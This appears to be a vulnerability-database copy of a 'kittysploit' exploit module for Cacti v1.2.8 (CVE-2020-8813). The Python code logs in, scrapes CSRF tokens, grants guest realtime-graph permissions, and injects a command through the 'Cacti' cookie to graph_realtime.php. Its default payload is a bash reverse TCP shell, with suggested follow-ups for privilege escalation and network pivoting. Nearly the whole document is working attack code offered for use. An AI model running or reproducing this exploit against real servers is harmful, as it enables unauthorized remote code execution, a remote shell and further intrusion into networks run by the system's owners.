Cacti v1.2.8 auth RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
from bs4 import BeautifulSoup
class Module(Exploit, Http_client, Http_login):
__info__ = {
'name': "Cacti v1.2.8 auth RCE",
'description': "Cacti v1.2.8 authenticated Remote Code Execution",
'cve': '2020-8813',
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'arch':'cmd',
'platform': Platform.UNIX,
'encoder': 'encoders/cmd/ifs',
'category': 'singles'
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
def login(self, token):
login_info = {
"login_username": self.username,
"login_password": self.password,
"action": "login",
"__csrf_magic": token
}
login_request = self.http_request(
method = 'POST',
path = '/index.php',
data = login_info,
session = True
)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
self.login_failed()
return False
else:
self.login_success()
return True
def enable_guest(self,token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = self.http_request(
method = 'POST',
path = '/user_admin.php?header=false',
data = request_info,
session = True
)
if enable_request:
return True
else:
return False
def run(self):
print_status("Retrieving login CSRF token")
page = self.http_request(
method = 'GET',
path = '/index.php',
session = True
)
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print_success("Token Found : %s" % token)
print_status("Sending creds ..")
login_status = self.login(token)
if login_status:
print_success("Successfully LoggedIn")
print_success("Retrieving CSRF token ..")
page = self.http_request(
method = "GET",
path = "/user_admin.php?action=user_edit&id=3&tab=realms",
session = True
)
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print_status("Making some noise ..")
guest_realtime = self.enable_guest(token)
if guest_realtime:
print_success("Sending malicous request")
cookies = {'Cacti': self.url_encode(";"+self.payload)}
pwn = self.http_request(
method = "GET",
path = "/graph_realtime.php?action=init",
cookies = cookies
)
else:
print_error("Error while activating the malicous account")
else:
print_error("Unable to retrieve CSRF token!")
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10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9